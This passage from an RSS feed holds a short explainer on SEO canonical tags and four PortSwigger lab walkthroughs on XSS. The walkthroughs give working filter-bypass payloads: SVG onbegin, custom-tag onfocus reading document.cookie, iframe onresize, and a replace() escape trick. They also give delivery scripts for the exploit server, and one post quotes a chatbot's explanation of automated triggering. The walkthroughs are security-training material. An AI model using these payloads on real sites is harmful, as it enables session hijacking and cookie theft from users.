href="https://www.google.com/search?sca_esv=50ae17e33ffbd3d5&amp;sxsrf=AE3TifP29abSu7YuNvspHqxywQTSMGl6Gw%3A1756896666076&amp;q=canonical+tag&amp;sa=X&amp;ved=2ahUKEwjN3sCNtryPAxWP2TgGHUFUBB8QxccNegQILBAB&amp;mstk=AUtExfBNZARfmjnwNAuWR8t1BXSTasL9x0mCpksHgOdlsEQe3POewjWOoz__kyvmq-YweVTTTv7dbRMZ1PtkHCkpFeaA9PqoqlbYlV6wSK_0bJZZ2RRPmFxnAfZCFXbsr8HwFmyp3ox2aWb0KabhdFOkHIQananYNAiC3Thyg69oaBsBTKwfN5eomqPWPnYWdt3foP7D-PF_w4SQp2BlszlyKirs_wE_Mkwqkr-AKll7uwmOqyFgr9Ok8--Ju28-tV4fqgTwb9qjN9TcqBCrCvzt0JN1&amp;csui=3">canonical tag</a> (or rel=canonical attribute) within a page&#39;s HTML &lt;head&gt; section, directing search engines to index and rank this single preferred version instead of multiple identical versions. This helps prevent duplicate content issues, consolidates SEO value, and ensures users are shown the most relevant version of a page.</p><p>Why canonical URLs are important for SEO:</p><p><strong>Avoids duplicate content penalties:</strong></p><p>Search engines can penalize sites for duplicate content, which can harm their rankings.</p><p><strong>Consolidates SEO value:</strong></p><p>It allows all the “link equity” or ranking power from multiple versions of a page to be directed to the single canonical version.</p><p><strong>Ensures correct indexing:</strong></p><p>It tells search engines which URL to show in search results, preventing confusion and ensuring the most relevant content is displayed to users.</p><p>How a canonical link works:</p><ol><li><strong>1. Duplicate Content:</strong></li></ol><p>Multiple URLs might lead to the same content, such as the www and non-www versions of a site, or product pages with different URL parameters.</p><p><strong>2. Canonical Tag:</strong></p><p>A canonical tag is added to the &lt;head&gt; of each duplicate page, pointing to the preferred URL. For example:</p><p>&lt;link rel=&quot;canonical&quot; href=&quot;https://example.com/preferred-url/&quot; /&gt;.</p><ol><li><strong>Search Engine Action:</strong> Search engines, upon seeing the canonical tag, will understand which URL is the master copy and index that one accordingly.</li></ol><p>Examples of duplicate content where canonical tags are useful:</p><ul><li>Product pages with different URL parameters (e.g., example.com/product?color=blue and example.com/product?color=red).</li><li>Print-friendly versions of pages.</li><li>Pages accessible with or without the www prefix.</li><li>Pages accessible with HTTPS and HTTP.</li></ul><p>A canonical tag is an HTML tag (specifically, rel=&quot;canonical&quot;) that identifies the primary, or &quot;master,&quot; version of a webpage when multiple URLs contain identical or very similar content. It&#39;s a crucial SEO practice that prevents duplicate content issues by telling search engines which page to index and rank, thereby consolidating ranking signals and ensuring users see the correct content.</p><p>How it works</p><p><strong>Identify duplicate content:</strong></p><p>Websites often have multiple versions of the same page, such as /page/ and /page?utm_source=google.</p><p><strong>Add the canonical tag:</strong></p><p>You add a line of code to the header section of all the duplicate pages, pointing to the one you want to be the master version.</p><p><strong>Search engine action:</strong></p><p>Search engines see this tag and understand that they should consolidate the ranking signals for all these pages onto the canonical URL.</p><p>Why it’s important for SEO</p><ul><li><strong>Prevents duplicate content issues:</strong></li><li>It stops search engines from getting confused about which page to index, which can weaken a site’s overall search performance.</li><li><strong>Consolidates link equity:</strong></li><li>All the backlinks and ranking signals pointing to duplicate versions of a page are passed to the canonical page, giving it more authority.</li><li><strong>Improves user experience:</strong></li><li>Ensures users and search engines are directed to the definitive version of the content.</li><li><strong>Manages crawl budget:</strong></li><li>Search engines have a limited budget for crawling websites, and canonical tags help them efficiently identify and crawl important pages, rather than wasting budget on duplicates.</li></ul><p>Example Canonical Tag</p><p>Code</p><pre>&lt;link rel=&quot;canonical&quot; href=&quot;https://www.example.com/primary-page/&quot; /&gt;</pre><p>This code, when placed on the duplicate page, tells search engines that https://www.example.com/primary-page/ is the preferred URL for that content.</p><h3>References:</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F9kwDn7IGkW0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D9kwDn7IGkW0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F9kwDn7IGkW0%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6505a417abba55cba1299a47b29c417c/href">https://medium.com/media/6505a417abba55cba1299a47b29c417c/href</a></iframe><p><a href="https://developers.google.com/search/docs/crawling-indexing/canonicalization">What is URL Canonicalization | Google Search Central | Documentation | Google for Developers</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5460e56f660e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reflected XSS with some SVG markup allowed]]></title>
            <link>https://medium.com/@chiragvyas369/reflected-xss-with-some-svg-markup-allowed-479e8e13b651?source=rss-c00e79ace43d------2</link>
            <guid isPermaLink="false">https://medium.com/p/479e8e13b651</guid>
            <category><![CDATA[reflected-xss]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[Chirag Vyas]]></dc:creator>
            <pubDate>Fri, 29 Aug 2025 09:19:54 GMT</pubDate>
            <atom:updated>2025-08-29T09:19:54.848Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SC5JQS-M7u2DbDfsFhDDkg.png" /></figure><h3>Lab Description:</h3><p>This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.</p><p>To solve the lab, perform a cross-site scripting attack that calls the alert() function.</p><h3>Walk-through:</h3><p>As lab description stats that site is blocking common tags but missing SVG tag.</p><p>Blocking common tags:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3sF00BQYK9mwYRa2w3gUZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jdu0-kQHbkZ_RfMgmpDwcw.png" /></figure><p>Capture search request and send it to intruder.</p><p>Set search=&lt;$$&gt; to enumerate all possible tags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*Ehqm-AWLt81MTS3iYtUrPA.png" /></figure><p>Copy all tags from the <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet"><strong>website</strong></a> provided by portswigger.</p><p>Paste it on the payload section and start attack.</p><p>Observe 200 response, it gives which tag is allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*5r0hcvXVsj53-8faqzCo-A.png" /></figure><p>SVG and animatetransform tags are allowed.</p><p>To find event listener same technique applies.</p><p>Set search=&lt;svg&gt;&lt;animatetransform%20$$=1&gt;</p><p>Here, %20 is a space character in URL encoding.</p><p>Copy event listeners from that same website and paste it in payload section.</p><p>Start attack and observe 200 response status code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*FG67ww3cDtrW_oBx5LLnFQ.png" /></figure><p>Event onbegin bypassed the firewall.</p><p>Now, the payload is ready.</p><p>Payload : &lt;svg&gt;&lt;animatetransform%20onbegin=alert(1)&gt;</p><p>&lt;svg&gt;&lt;animatetransform%20onbegin=alert(document.domain)&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*-mOTK7Wqbgm6oCZKofvoug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*UGAlwIcY8MOFVPHMmT8XOQ.png" /></figure><p><strong>&lt;svg&gt;</strong></p><ul><li>Creates an SVG context.</li><li>SVG elements allow many event handlers that don’t exist in normal HTML.</li></ul><p><strong>&lt;animatetransform&gt;</strong></p><ul><li>This is a valid SVG animation element that applies transformations (like scale, rotate, etc.) over time.</li><li>Even if no attributes are set (like attributeName, from, to, dur), the element still exists and can fire events.</li></ul><p><strong>onbegin=alert(document.domain)</strong></p><ul><li>The <strong>onbegin event</strong> in SVG animation elements fires when the animation <strong>starts playing</strong>.</li><li>Here it’s hijacked to execute JavaScript.</li></ul><p><strong>Encoded space (%20)</strong>:</p><ul><li>%20 used instead of a literal space. This is useful if the application filters/blocks spaces.</li><li>Browsers decode %20 → &quot; &quot; before parsing.</li></ul><h3>Lab Solved!!!</h3><p>References:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7dKk4A6viWo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7dKk4A6viWo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7dKk4A6viWo%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/51cb2921ae5baae4ae0e93be30721f41/href">https://medium.com/media/51cb2921ae5baae4ae0e93be30721f41/href</a></iframe><p><a href="https://www.w3schools.com/graphics/svg_scripting.asp">W3Schools.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=479e8e13b651" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reflected XSS into HTML context with all tags blocked except custom ones]]></title>
            <link>https://medium.com/@chiragvyas369/reflected-xss-into-html-context-with-all-tags-blocked-except-custom-ones-27b43d7196d8?source=rss-c00e79ace43d------2</link>
            <guid isPermaLink="false">https://medium.com/p/27b43d7196d8</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Chirag Vyas]]></dc:creator>
            <pubDate>Sat, 23 Aug 2025 11:17:36 GMT</pubDate>
            <atom:updated>2025-08-23T11:17:36.073Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HcgJ5YpNa9Zs0_titxarIQ.png" /></figure><h3>Lab Description:</h3><p>This lab blocks all HTML tags except custom ones.</p><p>To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.</p><h3>Walk-Through:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*chr7U_t-grd-nMip_etkrQ.png" /></figure><p>Lab contains a blogging website which provides search functionality.</p><p>That search functionality is vulnerable to XSS.</p><p>But, web application is very well protected by WAF.</p><p>WAF will not allow any explicit HTML or script tags.</p><p>script payload → &lt;script&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ae8yZ48o1cPUigyuugFQAw.png" /></figure><p>HTML payload → &lt;h1&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axxKSNn2oU4Aop9T-OY-Wg.png" /></figure><p>So, all HTML as well as script tags are blocked but as lab description says custom tags are allowed.</p><p>Payload → &lt;custom-tag&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*9oTEKlElwI5wMCdG-M7nLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*T5Fi9a3QwJ_9gu-7_HK-SA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/257/1*Gh-xz4vIgdvMij4lZ2_MJA.png" /></figure><p>This shows that WAF is not filtering custom tags.</p><p>XSS can be achieved by adding some attributes in custom tags like ‘onmouseover’, etc.</p><p>Payload → &lt;custom-tag onmouseover=alert(document.cookie)&gt;</p><blockquote>Note : custom tag is a self-closing tag so no need to close the tag explicitly.</blockquote><p>But, this payload is not fully automatic. XSS attacks become very effective and dangerous when there is zero human interaction, or they are fully automatic.</p><p>In order to make it fully automatic, 3 attributes can be used.</p><p>onfocus (instead of onmouseover)</p><p>id</p><p>tabindex (HTML Functionality)</p><p>Payload → &lt;custom-tag onfocus=alert(document.cookie) id=x tabindex=”1”&gt;</p><p>So, to execute XSS, just add ‘#x’ after URL and refresh it.</p><p><strong>&lt;custom-tag&gt;</strong></p><ul><li>This is not a standard HTML element.</li><li>In HTML5, browsers accept unknown/custom tags without breaking. They behave like generic inline elements (&lt;span&gt;).</li></ul><p><strong>onfocus=alert(document.cookie)</strong></p><ul><li>The onfocus event fires when the element gains focus (via click or keyboard navigation).</li><li>Here, it will trigger an alert(document.cookie) → classic XSS exfiltration.</li></ul><p><strong>id=x</strong></p><ul><li>Just gives it an identifier (id=&quot;x&quot;) so you can reference it later with JavaScript (e.g., document.getElementById(&#39;x&#39;).focus()).</li></ul><p><strong>tabindex=&quot;1&quot;</strong></p><ul><li>Makes the element <strong>focusable</strong> (because custom/unknown elements are not focusable by default).</li><li>With tabindex, the element can gain focus via <strong>Tab key</strong> or programmatically with .focus().</li></ul><p>As soon as page is refreshed with the help of id and tabindex parameter, JavaScript automatically focuses, and it eventually executes XSS attack.</p><p>To solve the lab deliver this Payload to victim.</p><p>Payload →</p><p>&lt;script&gt; location = ‘<a href="https://0a7300ac0394442580472be700c000c4.web-security-academy.net/?search=%3Ccustom-tag+onfocus%3Dalert(document.cookie)+id%3Dx+tabindex%3D%221%22%3E#x&#39;">https://0a7300ac0394442580472be700c000c4.web-security-academy.net/?search=%3Ccustom-tag+onfocus%3Dalert(document.cookie)+id%3Dx+tabindex%3D%221%22%3E#x&#39;</a> &lt;/script&gt;</p><p>The technique is the victim visit a malicious web application provided by the attacker where this JS is hosted, and it redirects the victim to visit the vulnerable site.</p><h3>Lab Solved!!!</h3><p>References:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fsjs6RS7lURk%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dsjs6RS7lURk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fsjs6RS7lURk%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/665024af6daec2e8909d28239b749f97/href">https://medium.com/media/665024af6daec2e8909d28239b749f97/href</a></iframe><p><a href="https://www.w3schools.com/tags/att_global_tabindex.asp">W3Schools.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27b43d7196d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reflected XSS into HTML context with most tags and attributes blocked]]></title>
            <link>https://medium.com/@chiragvyas369/reflected-xss-into-html-context-with-most-tags-and-attributes-blocked-a23010fa3f61?source=rss-c00e79ace43d------2</link>
            <guid isPermaLink="false">https://medium.com/p/a23010fa3f61</guid>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[reflected-xss]]></category>
            <category><![CDATA[firewall]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[Chirag Vyas]]></dc:creator>
            <pubDate>Wed, 23 Jul 2025 21:05:55 GMT</pubDate>
            <atom:updated>2025-07-23T21:05:55.042Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ay3ICfNhJk9KVlwRL7dv4Q.png" /></figure><h3>Lab description:</h3><p>This lab contains a <a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked"><strong>reflected XSS vulnerability</strong></a> in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.</p><p>To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.</p><h3>Walk-Through:</h3><p>Starting with basic XSS injection.</p><pre>&lt;img src=x onerror=alert(document.domain)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/201/1*xL6OeaOhHCpKZRbxItUFeg.png" /></figure><p>WAF blocked payload.</p><p>But, angular brackets are able to escape WAF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*ayjmTWnl_Qjx8lmLocJ-RQ.png" /></figure><p>So, there is a possibility of brute forcing for acceptable tag by WAF.</p><p>Portswigger provides list of every HTML tag. It can be used to brute force.</p><p>Burp suit’s intruder section is used to do brute force.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1CkCCDnnhnjNzWd7Q86vaw.png" /></figure><p>Body tag escaped WAF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*S2CFFgDNujZaaWALczbz7A.png" /></figure><p>Same as tag, event listener is also needed to brute force.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4pchi7tVQ0c3__oG6RhExw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*npIrx4RG8FirhV02tK_YoA.png" /></figure><p>So, onresize event can be used, but to use this event an iframe payload has to craft and deliver to victim as lab requires no user interaction. So every thing has to be automated.</p><pre>&lt;iframe src=&quot;https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E&quot; onload=this.style.width=&#39;100px&#39;&gt;</pre><p>Decoded:</p><pre>https://YOUR-LAB-ID.web-security-academy.net/?search=&quot;&gt;&lt;body onresize=print()&gt;</pre><ul><li>The payload <strong>injects </strong><strong>&lt;body onresize=...&gt;</strong> into a reflected context.</li><li>The iframe sets its own width on onload, causing a <strong>resize</strong> in the embedded page.</li><li>This triggers the malicious JavaScript — print() or alert(1) — without needing common handlers like onerror.</li></ul><p>There is a section in lab called “Go to exploit server”, then paste this payload in body section, then click “Deliver to victim”.</p><h3>Lab Solved!!!</h3><blockquote>Note:</blockquote><blockquote>A question came across my mind that why can’t other tags be used? And I have no clue, so I asked ChatGPT.</blockquote><blockquote>Answer:</blockquote><blockquote>🔍 Why onresize?</blockquote><blockquote>Here’s why onresize is commonly used in advanced XSS labs:</blockquote><blockquote>✅ 1. It Fires Naturally on Browser Action.</blockquote><blockquote>onresize is triggered when the window or an element changes size.</blockquote><blockquote>If you create an iframe with a known size and then manually resize the browser or let the iframe resize dynamically, onresize will fire.</blockquote><blockquote>✅ 2. It’s Less Common, So Less Likely to Be Blacklisted.</blockquote><blockquote>Labs often blacklist common events like onerror, onload, onclick, etc.</blockquote><blockquote>Rare events like onresize, oncut, onpageshow, or onanimationend may slip through filters.</blockquote><blockquote>✅ 3. It Can Be Triggered Without User Interaction.</blockquote><blockquote>This makes it ideal for automated exploitation:</blockquote><blockquote>&lt;iframe src=&quot;javascript:alert(1)&quot; onresize=&quot;this.src=this.src&quot;&gt;&lt;/iframe&gt;</blockquote><blockquote>But a more effective and allowed one is:</blockquote><blockquote>&lt;iframe onresize=&quot;alert(1)&quot;&gt;&lt;/iframe&gt;</blockquote><blockquote>Then resize the iframe via CSS or script, or just let the user resize the window.</blockquote><blockquote>🚫 Why Not Others?</blockquote><blockquote>You mentioned:</blockquote><blockquote><em>oncancel, </em><em>oncommand, </em><em>onscrollend, etc.</em></blockquote><blockquote>Here’s the issue with those:</blockquote><blockquote>EventProblemoncancelOnly fires on &lt;dialog&gt; elements (rarely used, limited support).oncommandDeprecated / only supported in some versions of Firefox.onscrollendOnly fires in specific scrollable contexts, very new and not reliable.</blockquote><blockquote>Summary: They’re harder to reliably trigger than onresize.</blockquote><blockquote>✅ Ideal Conditions for onresize XSS</blockquote><blockquote>If you can inject this HTML:</blockquote><blockquote>&lt;iframe onresize=&quot;alert(1)&quot;&gt;&lt;/iframe&gt;</blockquote><blockquote>Then you can trigger it by resizing the browser window or using JS/CSS to change the size of the iframe (if allowed). PortSwigger often sets up the lab, so resizing will definitely happen.</blockquote><blockquote>🧠 TL;DR</blockquote><blockquote>onresize is used because it is <strong>less commonly filtered</strong>, <strong>reliably triggerable</strong>, and <strong>works without user interaction</strong>.</blockquote><blockquote>Many other events require specific contexts, elements, or browser quirks — making onresize the most practical for a lab like that.</blockquote><p>Reference:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FNIUsJZhGvFs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DNIUsJZhGvFs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FNIUsJZhGvFs%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/aebe0715b61a4c81acbc80dd1c81e46d/href">https://medium.com/media/aebe0715b61a4c81acbc80dd1c81e46d/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a23010fa3f61" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Stored DOM XSS]]></title>
            <link>https://medium.com/@chiragvyas369/lab-stored-dom-xss-84fa3b618645?source=rss-c00e79ace43d------2</link>
            <guid isPermaLink="false">https://medium.com/p/84fa3b618645</guid>
            <category><![CDATA[dom-based-xss]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[stored-xss]]></category>
            <dc:creator><![CDATA[Chirag Vyas]]></dc:creator>
            <pubDate>Wed, 09 Jul 2025 14:23:14 GMT</pubDate>
            <atom:updated>2025-07-09T14:23:14.774Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FNUZ2fccvOXL4MdWA__owg.png" /></figure><h3><strong>Description:</strong></h3><p>This lab demonstrates a <a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored"><strong>stored DOM vulnerability</strong></a> in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function.</p><h3><strong>Walkthrough:</strong></h3><p>There is a web application for blogging. In which users can do comments.</p><p>But web application poorly handles these comments and that’s where XSS vulnerability lies.</p><p>Starting with basic HTML payload → &lt;h1&gt;hello&lt;/h1&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*iXyGIPXwt-W6PhjK8TQaoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*w9YJCYd7vkcwzhrGuopmRw.png" /></figure><p>Here “ &lt;h1&gt; ” is escapes because it is rendered in website but “ &lt;/h1&gt;” is not escaped.</p><p>There is a JS file loaded by the application that handles comments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*B5WIqPF8Fn85rWeR1WcNsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*gdNJOgUXuReNgxOG7432nA.png" /></figure><p>Vulnerability lies in the ‘ html.replace ’ method.</p><blockquote><strong>If you replace a value, only the first instance will be replaced</strong>. To replace all instances, use a regular expression with the g modifier set.</blockquote><p>So, if string ‘ &lt;ANYTHING OR EMPTY&gt; ’ add before payload, then it must escape.</p><p>Payload : &lt;&gt;&lt;img src=x onerror=alert(document.domain)&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*koLWwz7pOaBMWDSVT88rsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*YXCMtfQePEP03lK1_US6YQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*TByVZi3jZ-AOYIRiN0L_og.png" /></figure><h3>Lab Solved!!!</h3><p>There is another payload, too.</p><p>Payload : &lt;&gt;&lt;h1 onmouseover=“alert(document.domain)”&gt;Hello&lt;/h1&gt;</p><p>But this payload is less impactful compare to previous one because it requires user interaction.</p><h3>References:</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FkjPwxAPt318%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DkjPwxAPt318&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FkjPwxAPt318%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c42623dd0f8979c85540107084049fa0/href">https://medium.com/media/c42623dd0f8979c85540107084049fa0/href</a></iframe><p><a href="https://www.w3schools.com/jsref/jsref_replace.asp">W3Schools.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84fa3b618645" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>